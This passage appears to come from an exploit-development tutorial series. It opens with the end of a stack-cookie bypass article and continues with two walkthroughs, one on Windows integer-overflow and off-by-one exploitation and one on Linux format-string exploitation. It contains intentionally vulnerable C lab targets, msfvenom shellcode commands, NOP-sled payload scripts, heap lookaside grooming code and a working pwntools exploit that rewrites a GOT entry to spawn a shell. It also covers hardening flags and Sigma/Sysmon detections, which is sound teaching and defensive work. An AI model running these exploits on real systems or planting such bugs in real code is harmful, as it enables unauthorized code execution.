Key Sigma fields for post-bypass detection:
EventID: 1+ParentImage=vuln_gs_server.exespawning a shell interpreter.EventID: 3+Initiated: true+ source image = server process + destination outside allowlist.
ETW Providers
Microsoft-Windows-Security-Mitigations({FAE10392-F0AF-4AC0-B8FF-9F4D920C3CDF}) – emits events on mitigation checks including stack protection failures; strong EDR telemetry for the Path 3 tamper.Microsoft-Windows-Kernel-Process– process start/stop with integrity level.Microsoft-Windows-Windows-Error-Reporting– WER bucket IDs correlating to crash signatures.
Windows Audit Policy
- Audit Process Creation (Event ID 4688): enable “Include command line in process creation events” via GPO under
Computer Configuration > Windows Settings > Security Settings > Advanced Audit Policy > Detailed Tracking. Command line captures theCMD=calc.exepayload intent. - Audit Object Access: relevant when shellcode calls
VirtualProtect/VirtualAllocto stage under DEP.
Compiler and Linker Hardening Checklist
| Control | Flag / Setting | Effect |
|---|---|---|
| Stack cookies | /GS (default ON) | Inserts __security_cookie check in GS-buffer functions. |
| Enhanced GS | GS++ (VS 2010+, default) | Covers all arrays and structs, not just char arrays of 8+. |
| Safe SEH | /SAFESEH (linker) | Embeds legitimate handlers at compile time; a replaced handler not in the list raises STATUS_INVALID_EXCEPTION_HANDLER, killing Path 1. |
| SEHOP | HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation = 0 | Validates the SEH chain integrity; makes SEH hijack infeasible without a chained leak or arbitrary write. |
| ASLR | /DYNAMICBASE + system-wide ASLR | Randomizes the .data base where __security_cookie lives, forcing an info-leak for Path 2. |
| DEP/NX | /NXCOMPAT + hardware NX | Forces ROP instead of direct stack shellcode. |
| Control Flow Guard | /guard:cf | Validates indirect call targets, constraining post-bypass ROP. |
__declspec(safebuffers) | Per-function attribute | Disables GS for that function – a dangerous pattern defenders should audit for. |

11. MITRE ATT&CK Mapping
| Technique ID | Name | Relevance |
|---|---|---|
| T1203 | Exploitation for Client Execution | Stack overflow exploitation leading to code execution. |
| T1068 | Exploitation for Privilege Escalation | When the target is a privileged service or the kernel-mode HEVD variant. |
| T1055 | Process Injection | Post-bypass payload delivery into another process. |
| T1211 | Exploitation for Defense Evasion | Bypassing GS/SafeSEH/SEHOP as layered mitigation evasion. |
| T1562.001 | Impair Defenses: Disable or Modify Tools | Disabling SEHOP via registry or sourcing gadgets from a non-SafeSEH module to circumvent mitigation. |
MITRE ATT&CK has no sub-technique dedicated to “stack canary bypass.” The honest mapping is T1203 for the exploit delivery and T1211 for the mitigation-bypass aspect – do not invent a sub-technique ID.
12. Recap
The GS cookie is a sentinel-plus-referee scheme: a masked value on the stack (__security_cookie XOR frame_pointer) checked in the epilogue against a global reference in .data. Its security rests on three assumptions – the overflow must cross the sentinel, the epilogue must actually run, and the attacker must be unable to read or rewrite the referee. Each bypass breaks one assumption: SEH overwrite (Path 1) faults before the epilogue runs so the check never fires; info-leak reconstruction (Path 2) forges a valid on-stack value; and the arbitrary-write attack (Path 3) rewrites the referee itself. On the defensive side, /SAFESEH plus SEHOP closes Path 1, ASLR forces an info-leak for Path 2, and CFG/DEP raise the cost of the code execution that follows any of them. The cookie is a real speed bump, not a wall – and the telemetry it emits (or conspicuously fails to emit under a clean bypass) is where detection lives.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Classic Stack Buffer Overflow: Smashing the Stack on Windows
- Understanding the Stack: Frames, Prologue/Epilogue, and Stack Layout
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
References
- C++: Visual C++ Support for Stack-Based Buffer Protection (MSDN Magazine, Dec 2017)
- A Modern Exploration of Windows Memory Corruption Exploits – Part I: Stack Overflows (Forrest Orr, Dec 2020)
- 2009, updated)
- Jan 2023)
- HEVD StackOverflowGS on Windows 10 RS5 x64 (Kristal G, Feb 2021)
- GitHub)
- Microsoft Learn – Sysmon Events
- 2012)
Integer Overflows and Off-by-One Errors: Turning Arithmetic Bugs into Memory Corruption
A buffer overflow is loud. An integer bug is quiet: a single multiplication that wraps, a <= where you wanted <, a signed int quietly promoted to a huge size_t. Nothing crashes at the arithmetic. The crash comes later, in the memcpy or the strcpy that trusted the number. That gap between the miscalculation and the corruption is exactly where the exploit lives.
Objective: Understand the full arithmetic-bug taxonomy (unsigned wrap, underflow, signedness confusion, truncation, off-by-one), then trigger and exploit a heap integer overflow and a stack off-by-one against an intentionally vulnerable Windows lab binary, and finish by knowing the compiler flags, OS mitigations, and telemetry that surface these bugs.
1. Integer Bug Taxonomy
C integers are fixed-width machine words. Arithmetic on them wraps at the word boundary with no exception, no flag you have to read, nothing. On a 32-bit target the relevant limits are:
UINT_MAX = 0xFFFFFFFFINT_MAX = 0x7FFFFFFFSIZE_MAX(32-bit)= 0xFFFFFFFF
Unless a type is explicitly unsigned, it is signed. The moment a signed value meets an unsigned context (a function taking size_t, a comparison against an unsigned length) the compiler inserts an implicit cast, and that cast is where attacker-controlled negatives turn into enormous positives.
| Sub-type | Mechanism | Concrete trigger |
|---|---|---|
| Unsigned wrap-around | A DWORD/size_t product exceeds 0xFFFFFFFF and wraps low | count * sizeof(item) with count = 0x40000001, sizeof(item) = 4 gives 4 |
| Unsigned underflow | Subtracting a larger unsigned from a smaller one wraps huge | len - 1 with len = 0 gives 0xFFFFFFFF |
| Signedness confusion | Negative signed input cast to unsigned length | memcpy(dst, src, (size_t)signed_int) with signed_int = -1 copies 0xFFFFFFFF bytes |
| Truncation | Narrowing 64/32-bit to WORD/BYTE drops high bits | (WORD)(0x10001) gives 0x0001 |
| Off-by-one (fence-post) | <= instead of <, or strlen+strcpy miscount | for(i=0; i<=len; i++) buf[i]=src[i]; writes one extra byte |
The pattern that produces real corruption is almost always the same: a length is computed with one of these bugs, the allocation uses the wrong (small) number, and the copy uses the right (large) number. The allocator hands you a chunk sized for the wrapped value; the copy writes the pre-wrap value. Everything past the chunk boundary is somebody else’s memory.

2. From Bad Math to Mis-Sized Allocation
Two idioms cause the overwhelming majority of these bugs in production C.
The multiply-then-allocate idiom. Code that manages an array of records computes count * item_size and passes it to the allocator. If count is attacker-controlled and unvalidated, a large count wraps the product. malloc(0) or HeapAlloc(h, 0, 4) still returns a valid, usable pointer, so nothing looks wrong until the population loop runs count iterations.
The strlen / strcpy inconsistency. strlen returns the length excluding the null terminator. strcpy writes the string including the terminator. Allocate strlen(input) bytes, strcpy into it, and you write exactly one byte past the end – the null terminator. That single null is a classic off-by-one, and on the stack it lands on the least significant byte of the saved frame pointer.
size_t len = strlen(input); // excludes the terminating '\0'
char *buf = HeapAlloc(GetProcessHeap(), 0, len); // room for len bytes
strcpy(buf, input); // writes len + 1 bytes
That one-byte spill is not academic. On a 32-bit stack frame it clobbers EBP‘s low byte; on a heap chunk it clobbers the first byte of the adjacent chunk’s header.

3. Windows Heap Internals for Exploiters
To know what an overflow corrupts you need the shape of the allocations around it. HeapCreate returns a handle to a region whose header holds the segment table, virtual-allocation list, free-list bitmap, the FreeList table, and the lookaside table. HeapAlloc and HeapReAlloc carve chunks out of that heap. Allocations larger than 512 KB skip the heap entirely and go through VirtualAlloc.
| Structure / Field | Description |
|---|---|
_HEAP_ENTRY | 8-byte header preceding every chunk: Size, Flags, SmallTagIndex, PreviousSize |
_HEAP_ENTRY.Size | Chunk size in 8-byte granules; corrupting an adjacent chunk’s Size drives consolidation primitives |
_HEAP_ENTRY.Flags | HEAP_ENTRY_BUSY (0x01), HEAP_ENTRY_EXTRA_PRESENT (0x02), HEAP_ENTRY_FILL_PATTERN (0x04) |
_HEAP.FreeList[128] | Doubly-linked free-block lists; unlink is guarded by the safe-unlinking check (XP SP2+) |
_HEAP.Lookaside[128] | Singly-linked fast cache for chunks up to 1016 bytes; no cookie, no safe unlink |
Lookaside flink | Single next-pointer in a lookaside entry – the soft target |
Here is the exploiter’s leverage. The FreeList unlink validates Flink->Blink == chunk before removing an entry, and _HEAP_ENTRY carries a random XOR cookie checked on free. The lookaside list has neither. Overwrite the flink of an adjacent lookaside entry and the next HeapAlloc of that size hands you back your forged pointer. That is a write primitive with no metadata check in the way.
One honest caveat, because it will bite you: the classic lookaside primitive belongs to the Windows XP / Server 2003 heap. On Windows 10 the default backend is the Low Fragmentation Heap (LFH), which retires the lookaside model and moves the interesting metadata into _HEAP_SUBSEGMENT and per-bucket freelist encoding. The technique below is the canonical teaching primitive; reproduce it faithfully on a legacy heap or with the LFH disabled, and treat modern LFH corruption as the follow-on study.
4. The Vulnerable Lab Target
Build this yourself in an isolated VM. It ships all three bugs behind a mode selector.
// vuln_alloc.c -- INTENTIONALLY VULNERABLE LAB TARGET
// cl /GS- /NXCOMPAT:NO /DYNAMICBASE:NO /Zi vuln_alloc.c
// Do NOT run outside an isolated lab VM.
#include <windows.h>
#include <stdio.h>
#include <string.h>
// Bug 1: integer multiplication overflow in the allocation size
void vuln_heap_intoverflow(unsigned int count, unsigned int item_size, char *src) {
unsigned int alloc_sz = count * item_size; // OVERFLOW: 0x40000001 * 4 -> 4
char *buf = (char *)HeapAlloc(GetProcessHeap(), 0, alloc_sz);
if (!buf) return;
memcpy(buf, src, count); // copies count bytes into a 4-byte chunk
printf("Done: %p\n", buf);
HeapFree(GetProcessHeap(), 0, buf);
}
// Bug 2: off-by-one via strlen/strcpy inconsistency (heap)
void vuln_heap_offbyone(char *input) {
size_t len = strlen(input); // excludes '\0'
char *buf = (char *)HeapAlloc(GetProcessHeap(), 0, len);
strcpy(buf, input); // writes len + 1 bytes
HeapFree(GetProcessHeap(), 0, buf);
}
// Bug 3: stack off-by-one (fence-post: <= instead of <)
void vuln_stack_offbyone(char *input, int len) {
char buf[128];
int i;
for (i = 0; i <= len; i++) // one iteration too many
buf[i] = input[i]; // buf[128] hits LSB of saved EBP
}
int main(int argc, char *argv[]) {
if (argc < 3) { printf("Usage: vuln_alloc <mode> <payload>\n"); return 1; }
int mode = atoi(argv[1]);
if (mode == 1) vuln_heap_intoverflow(0x40000001, 4, argv[2]);
if (mode == 2) vuln_heap_offbyone(argv[2]);
if (mode == 3) vuln_stack_offbyone(argv[2], strlen(argv[2]));
return 0;
}
Compile it x86, mitigations off, so the mechanics are visible without ASLR/DEP noise:
cl /GS- /NXCOMPAT:NO /DYNAMICBASE:NO /Zi vuln_alloc.c
/GS- drops the stack cookie, /NXCOMPAT:NO opts the process out of DEP, /DYNAMICBASE:NO disables ASLR so addresses are deterministic across runs.
5. Stack Off-by-One: NULL Byte EBP Pivot (Mode 3)
The 32-bit epilogue of vuln_stack_offbyone is leave; ret, which expands to:
leave ; mov esp, ebp / pop ebp (restores caller's saved EBP)
ret ; pop eip
buf lives at [ebp - 0x88]. The loop runs i = 0 .. len inclusive. Feed a 128-byte string and the loop writes buf[0..128]. Index 128 is the C string’s terminating \0, and that null lands on the low byte of the saved EBP.
This is a frame-pointer overwrite, not a return-address overwrite, so it plays out across two frames. vuln_stack_offbyone‘s leave restores the corrupted EBP into the register, then its ret returns normally to main. Now main is running with a frame pointer that points lower into our controlled buffer. When main (or the immediate caller in the harness) runs its own leave; ret, esp is set from the corrupted EBP and ret pops a DWORD we control into EIP.
Step 1 – recon the frame in WinDbg.
windbg -g -G vuln_alloc.exe 3 AAAAAAAA
bp vuln_alloc!vuln_stack_offbyone
g
dv /V
k
Confirm buf at ebp-0x88 and note the exact saved EBP value. With /DYNAMICBASE:NO it is stable, something like 0x0019ff00.
Step 2 – prove the single-byte clobber.
# poc_stack.py
import subprocess
payload = b"A" * 128 # fills buf[0..127]; the trailing '\0' hits buf[128]
subprocess.run(["vuln_alloc.exe", "3", payload.decode("latin-1")])
Step past the ret and watch EBP‘s low byte go to 0x00. Saved EBP of 0x0019ffXX becomes 0x0019ff00, sliding the frame down into our A block.
Step 3 – stage the payload. The delivery gotcha here is beautiful, and it cost me an afternoon the first time. The payload arrives through argv, so it is a C string: any embedded 0x00 truncates it before it reaches the copy. That means the shellcode must be null-free. Generate it accordingly, and notice the symmetry: the exact null byte that would break payload delivery is the same null the loop writes to corrupt EBP. You never place that null yourself; the string terminator does it for you.
msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00'
# poc_stack_exec.py
import subprocess
# null-free windows/exec calc.exe blob from msfvenom above
shellcode = b"\xbb....\xda....\x31\xc9..." # paste the -b '\x00' output
nop_sled = b"\x90" * (128 - len(shellcode))
payload = nop_sled + shellcode # exactly 128 bytes
# the loop then writes payload[0..127] into buf and the string terminator into buf[128],
# zeroing the low byte of saved EBP and pivoting the frame into the sled.
subprocess.run(["vuln_alloc.exe", "3", payload.decode("latin-1")])
Step 4 – land it. After the pivot, esp sits inside buf (in the NOP sled region), and the DWORD ret consumes is a slid address that lands you back in the sled, which rides down into the shellcode. Catch the transfer with sxe av in WinDbg if it misbehaves; a clean run pops calc.exe.
Notice /GS- was not strictly required for the pivot: because we corrupt the saved frame pointer rather than the return address directly, a single null-byte overwrite frequently slips past the /GS cookie entirely, since the cookie sits between the locals and the saved registers and is never touched. That is exactly why off-by-one EBP overwrites still get taught.

6. Heap Integer Overflow: Under-Allocation to Arbitrary Write (Mode 1)
Mode 1 wraps 0x40000001 * 4 to 4, allocates a 4-byte chunk, then memcpys count (0x40000001) bytes into it. The write blows straight through the chunk into whatever follows.
Step 1 – confirm the arithmetic.
python3 -c "print(hex((0x40000001 * 4) & 0xFFFFFFFF))"
# 0x4
Step 2 – make the overflow visible with Page Heap. For debugging, turn on full page heap so every allocation is backed by VirtualAlloc with a guard page immediately after it. The returned pointer sits at end-of-page minus the requested size, so the very first out-of-bounds byte faults. This is the single most useful lab switch for pinning down the exact corruption offset.
gflags.exe /p /enable vuln_alloc.exe /full
Run mode 1 under WinDbg and you fault precisely at the chunk boundary, proving the primitive and the offset in one shot.
Step 3 – inspect the real (non-page-heap) layout. Disable page heap to study the exploitable state, then examine the returned chunk and its neighbour.
bp ntdll!RtlAllocateHeap
g
!heap -p -a @eax
Confirm the 4-byte allocation and that the adjacent _HEAP_ENTRY begins just past it.
Step 4 – groom the lookaside. Prime the lookaside bucket for the target size so the chunk after the victim is a freed lookaside entry with a known flink.
// heap grooming harness (legacy heap / LFH disabled)
HANDLE h = GetProcessHeap();
LPVOID spray[20];
for (int i = 0; i < 20; i++) spray[i] = HeapAlloc(h, 0, 0x10);
for (int i = 0; i < 20; i++) HeapFree(h, 0, spray[i]); // populates lookaside[2]
Step 5 – overflow into the flink. Shape the memcpy source so the bytes that land in the neighbouring chunk overwrite its lookaside flink with a target address of your choosing, for example a writable function-pointer table in .data. Because the lookaside path performs no safe-unlinking and no cookie validation, that forged flink is accepted verbatim.
Step 6 – collect the write. The next HeapAlloc of that size unlinks your forged entry and returns your target address. Writing into that “allocation” is an arbitrary write. Point it at a function pointer, then trigger the pointer, and you have execution. In the lab, calc.exe on that trigger is your proof.
Step 7 – the DEP-on extension. Compiled /NXCOMPAT:NO, shellcode on the heap runs directly. Flip DEP back on and you need a ROP chain to make memory executable first:
ROPgadget --binary vuln_alloc.exe --rop
The standard chain sets up a __stdcall call to VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &old), then falls through into the now-executable shellcode. VirtualAlloc with PAGE_EXECUTE_READWRITE is the alternative when you would rather stage fresh executable memory than remark existing pages.
7. Modern Mitigation Landscape
Everything above assumes mitigations off. Turn them on and each step gains a cost.
| Mitigation | Flag / Setting | Effect on this bug class |
|---|---|---|
Stack cookies (/GS) | On by default (MSVC) | Catches saved-RIP overwrite; a single null-byte EBP overwrite can evade it |
ASLR (/DYNAMICBASE) | On by default | Randomizes image, stack, heap; forces an info leak. Non-relocatable or opt-out modules still give fixed addresses |
| DEP / NX | /NXCOMPAT, PTE NX bit | Stack and heap non-executable by default; forces ROP via VirtualProtect/VirtualAlloc |
| Heap metadata cookie | XOR cookie on _HEAP_ENTRY | Blocks header forgery; lookaside flink corruption sidesteps it |
| Safe unlinking | Flink->Blink == chunk | Guards FreeList unlink; does not cover the lookaside |
CFG (/guard:cf) | Opt-in | Validates indirect call targets; blocks naive function-pointer overwrites |
| Page Heap | gflags /p /enable /full | Debug aid: guard page after every allocation makes overflows fault instantly |
8. Common Attacker Techniques
| Technique | Description |
|---|---|
| Multiply-then-allocate wrap | Force count * size to wrap so the chunk is undersized while the copy uses the full count |
| Signedness confusion | Feed a negative signed length that becomes a huge size_t in the copy |
| Truncation to small size | Narrow a 64/32-bit length into a WORD/BYTE, allocating tiny, copying large |
| Off-by-one EBP overwrite | Single trailing null byte pivots the saved frame pointer into a controlled buffer |
Lookaside flink overwrite | Heap overflow rewrites an adjacent lookaside next-pointer, redirecting a future HeapAlloc |
| Heap groom / spray | Pre-place freed chunks so the neighbour of the victim has predictable metadata |
9. Defensive Strategies & Detection
Build-time is where you win cheaply: compile with /sdl (MSVC) or -fsanitize=integer,undefined (Clang/GCC) to trap wraps and signed overflow at runtime, replace strcpy/memcpy with strcpy_s/memcpy_s, and enable HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0) so metadata corruption kills the process instead of feeding an exploit. Ship /GS, /DYNAMICBASE, /NXCOMPAT, and /guard:cf, and treat __declspec(safebuffers) as a code-review red flag.
At runtime you cannot see the arithmetic, so you watch the aftermath: crashes and unexpected child processes.
Sysmon Event IDs:
| Event ID | Name | Relevance |
|---|---|---|
1 | Process Create | Child calc.exe/cmd.exe under an unexpected parent |
7 | Image Loaded | Anomalous DLL (for example ws2_32.dll) into a non-network app |
10 | Process Access | Exploited process opening another process for a pivot |
17 / 18 | Pipe Created / Connected | Named-pipe shellcode staging |
255 | Error | Process crashes consistent with corruption attempts |
ETW providers worth wiring up: Microsoft-Windows-Kernel-Process ({22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}) for process/thread creation, Microsoft-Windows-WER-Diagnostics for the access-violation reports that heap corruption throws, and the ntdll HeapApi provider ({222962AB-6180-4B88-A825-346B75F2A24A}) traced via xperf/WPA for allocation/free forensics. Turn on 4688 first:
AuditPol /set /subcategory:"Process Creation" /success:enable /failure:enable
Sigma – hunt the spawned child:
title: Suspicious Child Process from Exploited Application
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\vuln_alloc.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\calc.exe'
condition: selection
fields:
- ParentImage
- Image
- CommandLine
- ParentCommandLine
falsepositives:
- Legitimate application launching shells
level: high

10. Tools for Arithmetic Bug Analysis
| Tool | Description | Link |
|---|---|---|
| WinDbg | Heap inspection (!heap -p -a, !heap -x), fault triage (sxe av) | microsoft.com |
| gflags / Page Heap | Guard-page allocator that faults on the first overflow byte | microsoft.com |
| x32dbg + ScyllaHide | User-mode stepping through the copy and epilogue | x64dbg.com |
| msfvenom | Null-free windows/exec shellcode generation | metasploit.com |
| ROPgadget | Gadget discovery for DEP-bypass chains | github.com |
| Application Verifier | Heap and handle validation harness | microsoft.com |
| Godbolt | Watch the compiler emit (or elide) overflow checks | godbolt.org |
11. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation for Privilege Escalation | T1068 | Kernel/driver IOCTL integer overflows; watch for driver crashes (Sysmon 255, WER) |
| Exploit Public-Facing Application | T1190 | Integer overflow in a network parser; monitor service crashes and anomalous child processes |
| Exploitation for Client Execution | T1203 | Off-by-one/overflow in a document or browser parser; Sysmon 1/7 on the client |
| Process Injection | T1055 | Post-write shellcode injection; Sysmon 10, 8 |
| Hijack Execution Flow (function-pointer/IAT overwrite) | T1574.002 | CFG telemetry, unexpected image loads (Sysmon 7) |
Cross-reference CWE-190 (Integer Overflow or Wraparound), CWE-191 (Integer Underflow), and CWE-193 (Off-by-one Error) in code review and static-analysis rulesets.
Summary
- Arithmetic bugs are root-cause memory-corruption bugs: the miscalculated length is the vulnerability, and the copy that trusts it is the corruption.
- Unsigned wrap, underflow, signedness confusion, and truncation all converge on one pattern: allocate for the wrong number, copy the right one.
- A single trailing null from
strlen/strcpyoverwrites the savedEBPlow byte, pivots the frame, and can slip past/GS. - A wrapped
count * sizeunder-allocates, and the follow-onmemcpycorrupts the adjacent chunk; the lookasideflinkhas no cookie or safe-unlink, yielding an arbitrary write. - Kill it at build time with
/sdl,_sCRT functions,/GS,/DYNAMICBASE,/NXCOMPAT,/guard:cf; surface it at runtime with Page Heap, WER/ETW crash telemetry, and Sysmon1/7/10on the anomalous child process.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
- CWE-190: Integer Overflow or Wraparound (MITRE CWE)
- CWE-193: Off-by-One Error (MITRE CWE)
- CWE-680: Integer Overflow to Buffer Overflow (MITRE CWE)
- Exploitation for Privilege Escalation, Technique T1068 – MITRE ATT&CK Enterprise
- Understanding Integer Overflow in Windows Kernel Exploitation (White Knight Labs)
- OWASP Testing Guide v4.1: Testing for Heap Overflow
Format String Vulnerabilities: Read/Write Primitives via printf Internals
You control a string. The program hands it straight to printf with no format argument of its own. That one missing "%s" is enough to read any mapped address in the process and write any value you like to any writable address. No buffer overflow, no canary to defeat, no return address to smash. Just printf doing exactly what the C standard told it to do, on data it should never have trusted.
This walkthrough takes the bug from first principles to a shell on a 32-bit Linux lab binary, then shows the blue-team side: why almost nothing on the host fires until the shell spawns, and what you key your detections off instead.
1. The Format String Contract
printf is variadic. Its prototype is int printf(const char *fmt, ...), and the C runtime has no idea how many arguments follow fmt. It learns that at runtime, by parsing fmt and counting conversion specifiers. Each %-specifier tells glibc’s _IO_vfprintf to pull the next argument off the variadic list and format it.
On x86-32 (cdecl), those arguments live on the stack, immediately above the format string pointer. _IO_vfprintf walks them with the va_list / va_arg iterator. There is no bounds check. If the format string says “give me ten arguments” but the caller passed none, printf cheerfully reads ten stack slots that belong to other locals, saved registers, return addresses, and library pointers.
On x86-64 System V, the first six integer arguments are passed in registers (rdi holds fmt, then rsi, rdx, rcx, r8, r9), and only the seventh argument onward sits on the stack. That register detail changes the offsets you use but not the bug.
| Item | Description |
|---|---|
printf(fmt, ...) | Variadic; interprets fmt and fetches one argument per specifier from the stack (x86-32) or registers then stack (x86-64) |
| Vulnerable call | printf(user_input) gives the attacker both a read primitive (%x/%p/%s) and a write primitive (%n) |
| Safe equivalent | printf("%s", user_input) – the fix is one literal format string |
| Affected family | printf, fprintf, sprintf, snprintf, vprintf, vsprintf, syslog |
The whole printf family routes through _IO_vfprintf, so the bug is identical wherever a user-controlled buffer reaches the format-string slot. syslog(LOG_INFO, user_input) is the same vulnerability with a different front door.
| Specifier | Primitive | Mechanics |
|---|---|---|
%x / %p | Stack read | Pops the next stack slot, prints it as hex |
%s | Arbitrary read | Treats the next slot as char *, reads until \0 |
%n | Arbitrary write (4 bytes) | Stores the count of bytes written so far into the int * argument |
%hn | Write 2 bytes | Stores a short; used in split-write chains |
%hhn | Write 1 byte | Stores one byte; best for null-byte-free GOT patching |
%<k>$<spec> | Direct parameter access | %7$p reads argument 7 directly, no throwaway chain |
%<N>x | Value control | Emitting N bytes before %n makes %n write N |

2. Building the Vulnerable Lab Target
Here is the whole target. It is intentionally broken, and the compile flags are deliberately weak so the mechanics are visible. Do not ship anything built this way.
// target.c - deliberately vulnerable lab binary
// Compile:
// gcc -m32 -fno-stack-protector -no-pie -z norelro -o target target.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void win() {
system("/bin/sh"); // redirect here via GOT overwrite
}
void log_input(char *buf) {
printf("[LOG] ");
printf(buf); // VULNERABLE: user-controlled format string
printf("\n");
}
int main(void) {
char input[256];
printf("Input: ");
fgets(input, sizeof(input), stdin);
input[strcspn(input, "\n")] = '\0';
log_input(input);
exit(0); // exit() calls fini/dtors -> alternative target
}
Build it and confirm the protections are down:
gcc -m32 -fno-stack-protector -no-pie -z norelro -o target target.c
checksec --file=./target
# RELRO: No RELRO | Stack: No canary | NX: enabled | PIE: No PIE
-no-pie fixes the binary’s base so addresses are stable for teaching. -z norelro keeps the GOT writable. The stack canary is irrelevant to a format-string write because we never smash the stack, but disabling it removes noise. win() is our jump target: redirect a GOT entry there and the program calls system("/bin/sh") for us.
3. The Read Primitive: Leaking Stack Memory
Start by watching printf leak the stack. Feed it a chain of %p:
python3 -c "print('AAAA.' + '.'.join(['%p']*10))" | ./target
# [LOG] AAAA.0xf7f...c.0x8.0x80491b6.0x41414141.0x70252e70.0x252e7025...
Every %p consumes one stack slot and prints it. Mixed in you will see libc pointers (high 0xf7... addresses on 32-bit), small loop counters, the return address back into main, and crucially 0x41414141, which is our AAAA showing up because the input buffer itself is sitting on the stack printf is walking.
Positional access cleans this up. Instead of counting %ps by hand, ask for one slot directly:
python3 -c "print('AAAA%7\$p')" | ./target
# [LOG] AAAA0x41414141
%7$p says “format argument number 7 as a pointer.” When it prints 0x41414141, you have found the slot that holds the first four bytes of your own buffer. That index, 7 here, is the single most important number in the exploit. It is the bridge that turns an uncontrolled read into a controlled one.
For arbitrary reads, %s dereferences the slot as a char *. Place an address in your buffer at the slot you control, then point %s at it:
python3 -c "
import struct, sys
got_exit = 0x0804c014 # from objdump -R, see Step below
sys.stdout.buffer.write(struct.pack('<I', got_exit) + b'%7\$s')
" | ./target | xxd
Now %7$s reads the four bytes at offset 7 (your embedded address) as a pointer and dumps whatever string lives there. That is your arbitrary read: leak GOT entries, leak libc, leak anything mapped.
4. Locating Your Buffer on the Stack
The offset hunt is mechanical. Send a marker plus a positional read, and bump the index until the marker echoes back:
for i in $(seq 1 15); do
echo -n "offset $i: "
python3 -c "print('AAAA%$i\$p')" | ./target | grep -o '0x[0-9a-f]*'
done
When the output reads 0x41414141, that index is your offset to self. On this binary with this stack layout it is 7. Verify under the debugger if you want certainty:
pwndbg> r <<< $(python3 -c "print('AAAA.%7\$p')")
pwndbg> x/40wx $esp
One gotcha worth internalizing now: the offset is layout-dependent. Add or remove a local, change the compiler version, or rebuild without -m32, and your golden number shifts. I once burned an afternoon on a payload that “stopped working” after a recompile, only to discover an extra stack-aligned local had pushed my buffer from offset 6 to offset 7. Re-derive the offset every time the binary changes.
5. The Write Primitive: %n Mechanics
%n is the part of the C standard that should keep you up at night. It does not print anything. It takes the corresponding argument as an int * and stores the number of characters printf has emitted so far into that address.
So if you can place a target address in a stack slot you control, and you make printf emit exactly N bytes before the %n, you write the value N to that address. Width specifiers give you the byte count for free: %100x prints a value padded to 100 characters, advancing the counter to 100.
Writing a full 32-bit address with one %n would mean printing up to four billion padding characters. Nobody waits for that. Split the write:
%hnwrites the low 16 bits (ashort).%hhnwrites the low 8 bits (a single byte).
To plant a 4-byte value you do two %hn writes, one to addr and one to addr+2, padding each to the half-word you need. Because the lower half is sometimes numerically larger than the upper half, you order the writes so the running byte count only ever increases, and you account for the bytes already emitted by the embedded addresses themselves.
That bookkeeping is exactly the kind of off-by-a-few error that eats hours, which is why the next sections use both the pwntools helper (does the math for you) and a manual derivation (so you understand what the helper emitted).
6. Targeting the GOT
Lazy binding means each imported function is called through the Global Offset Table. The .plt stub is read-only, but .got.plt holds the resolved (or to-be-resolved) address and, without RELRO, it is writable. Overwrite the GOT entry of a function that gets called after your format string runs, and you redirect control.
exit() is perfect here: main calls exit(0) right after log_input returns, so we overwrite exit‘s GOT slot with the address of win.
Find the addresses:
objdump -R ./target | grep -E 'exit|printf'
# 0804c014 R_386_JUMP_SLOT exit@GLIBC_2.0
readelf -s ./target | grep ' win'
# 42: 080491d6 ... FUNC GLOBAL DEFAULT win
In pwndbg you can read the live table and confirm the write afterward:
pwndbg> got
pwndbg> x/wx 0x0804c014 # exit GOT entry, before write
0x804c014: 0x0804c014 # unresolved -> points back at PLT resolver
Target slot: 0x0804c014. Value to write: 0x080491d6. That is the whole shape of the attack.

7. The Full Exploit (pwntools)
fmtstr_payload builds the split-write payload, computes the padding, and accounts for already-written bytes. Let pwntools resolve the symbols from the ELF so you never hardcode a stale address.
# exploit.py
from pwn import *
context.binary = elf = ELF('./target')
context.arch = 'i386'
p = process('./target')
win_addr = elf.symbols['win'] # 0x080491d6
got_exit = elf.got['exit'] # 0x0804c014
offset = 7 # found in Section 4
# Build the crafted format string: embedded address + width-padded %hn writes
payload = fmtstr_payload(offset, {got_exit: win_addr}, write_size='short')
log.info("Payload (%d bytes): %r", len(payload), payload)
p.sendlineafter(b'Input: ', payload)
p.interactive()
Run it:
$ python3 exploit.py
[*] '/home/lab/target'
Arch: i386-32-little
RELRO: No RELRO
[+] Starting local process './target'
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab) groups=1000(lab)
$ cat /etc/hostname
fmt-lab
When main reaches exit(0), the PLT stub jumps through the now-poisoned GOT entry into win, and system("/bin/sh") hands you a shell. Confirm the overwrite landed before exit runs by breaking on it in pwndbg and re-reading 0x0804c014; it should now read 0x080491d6.
8. Manual Split-Write Without Helpers
To see what pwntools emitted, write a value by hand. Take a generic example: write 0xdeadbeef to address A.
- Low half
0xbeef= 48879 toA - High half
0xdead= 57005 toA+2
Order the writes ascending by value so the counter only grows: 0xdead (57005) is larger than 0xbeef (48879), so write 0xbeef first, then top up to 0xdead.
Layout, at offset 7 for the addresses:
[ A ][ A+2 ] <- 8 bytes of embedded addresses
%<48879-8>x %7$hn <- count reaches 0xbeef, write low half to A
%<57005-48879>x %8$hn <- count reaches 0xdead, write high half to A+2
The -8 accounts for the eight bytes the two packed addresses already printed. After the first %hn, the counter sits at 48879, so the second pad only adds 57005 - 48879 characters to climb to 57005.
